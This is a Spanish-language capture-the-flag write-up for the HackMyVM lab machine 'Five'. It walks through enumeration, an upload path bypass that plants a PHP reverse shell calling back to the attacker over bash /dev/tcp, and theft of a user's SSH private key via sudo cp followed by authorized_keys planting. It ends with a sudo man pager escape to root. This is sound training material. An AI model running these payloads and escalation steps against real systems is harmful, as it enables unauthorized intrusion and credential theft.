cd ~/blog

~/writeups/hmv/007-five.md

007 - Five

medium Linux hmv 14-08-2024
File upload (path bypass)sudo cp (SSH key recovery + key planting)sudo man pager escape
hackmyvm.eu/machines/machine.php?vm=Five

~1 min de lectura


Enumeración

Comenzamos con un escaneo general y específico de puertos con nmap:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.32
 nmap -sCV -p 80 -oN 02-targeted.txt 192.168.1.32
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 00:06 -04
Nmap scan report for 192.168.1.32
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.2
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-server-header: nginx/1.14.2
|_http-title: 403 Forbidden

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds

Enumeramos directorios con gobuster, donde aparecen upload.html, admin y un uploads sin acceso:

 gobuster dir -u 'http://192.168.1.32' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif,zip -r
...
/uploads              (Status: 403) [Size: 169]
/admin                (Status: 200) [Size: 3866]
/upload.html          (Status: 200) [Size: 346]
/upload.php           (Status: 200) [Size: 48]
/robots.txt           (Status: 200) [Size: 17]
...

Subida de archivos (path bypass)

En upload.html nos encontramos con un formulario para subir archivos. Subimos una reverse shell en PHP y la interceptamos con Burp Suite: por defecto los archivos se guardan en uploads, al que no tenemos acceso, así que eliminamos la línea de la petición que define el path para que el archivo quede en la raíz web:

 cat pwned.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.5/1234 0>&1'");
?>

Accedemos a http://192.168.1.32/pwned.php y recibimos la shell como www-data, estabilizándola con pty:

 ncat -nlvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.32:39786.
bash: cannot set terminal process group (382): Inappropriate ioctl for device
bash: no job control in this shell
www-data@five:~/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'

Escalada a melisa (sudo cp + SSH local)

Revisamos sudo -l:

www-data@five:/home$ sudo -l
Matching Defaults entries for www-data on five:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on five:
    (melisa) NOPASSWD: /bin/cp

Podemos ejecutar cp como melisa. Antes de aprovecharlo, revisamos los puertos abiertos internamente con ss para ver por dónde conectarnos como ella:

www-data@five:/tmp$ ss -tuln
Netid   State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port
udp     UNCONN   0        0                0.0.0.0:68            0.0.0.0:*
tcp     LISTEN   0        128            127.0.0.1:4444          0.0.0.0:*
tcp     LISTEN   0        128              0.0.0.0:80            0.0.0.0:*
tcp     LISTEN   0        128                 [::]:80               [::]:*

Hay un SSH escuchando localmente en el puerto 4444. Para conectarnos como melisa, primero recuperamos su id_rsa usando cp con sus privilegios:

www-data@five:/tmp$ touch id_rsa
www-data@five:/tmp$ chmod 777 id_rsa
www-data@five:/tmp$ sudo -u melisa cp /home/melisa/.ssh/id_rsa /tmp/id_rsa
www-data@five:/tmp$ chmod 600 id_rsa

A partir de la clave privada generamos su clave pública y la plantamos como authorized_keys en el .ssh de melisa, de nuevo abusando de cp:

www-data@five:/tmp$ ssh-keygen -y -f id_rsa > authorized_keys
www-data@five:/tmp$ sudo -u melisa cp /tmp/authorized_keys /home/melisa/.ssh/authorized_keys

www-data@five:/tmp$ ssh melisa@localhost -p 4444 -i id_rsa
melisa@five:~$

Obtenemos shell como melisa y la primera flag.

Escalada a root (sudo man pager escape)

Revisamos sudo -l con el nuevo usuario:

melisa@five:~$ sudo -l
Matching Defaults entries for melisa on five:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User melisa may run the following commands on five:
    (ALL) SETENV: NOPASSWD: /bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm,
        /bin/clear

Podemos ejecutar varios comandos como cualquier usuario y sin contraseña. Usaremos man, indicándole con -P un pager (less) desde el que escapamos a una shell con !/bin/bash:

melisa@five:~$ sudo man -P /usr/bin/less man
!/bin/bash
root@five:/home/melisa#

Obtenemos la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados